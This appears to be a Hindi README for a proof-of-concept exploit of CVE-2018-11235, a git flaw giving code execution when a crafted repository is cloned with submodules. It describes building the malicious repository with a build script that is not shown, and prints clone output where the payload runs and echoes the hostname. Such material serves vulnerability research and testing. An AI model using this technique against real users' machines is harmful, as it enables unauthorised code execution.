
CVE-2018-11235 के लिए PoC एक्सप्लॉइट जो git clone --recurse-submodules पर RCE की अनुमति देता है
GitHub मुझे कमजोरी का शोषण करने वाली रिपॉजिटरी पुश करने की अनुमति नहीं दे रहा है (उनके लिए अच्छी बात है), इसलिए आपको build.sh स्क्रिप्ट चलाकर इसे स्वयं बनाना होगा।
फिर, रिपॉजिटरी को कहीं पुश करें। जब आप इसे --recurse-submodules फ्लैग के साथ क्लोन करते हैं, तो दुर्भावनापूर्ण स्क्रिप्ट निष्पादित होती है:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
कोड @peff के git patch से व्युत्पन्न है (इसमें टेस्ट फ़ाइल देखें)।
t/t7415-submodule-names.shइस प्रकार, यह रिपॉजिटरी GNU जनरल पब्लिक लाइसेंस संस्करण 2 के अंतर्गत प्रकाशित की गई है।
गिट के पुराने संस्करणों के लिए अतिरिक्त सुधार @atorralba की कृपा से (इस पोस्ट में विवरण)।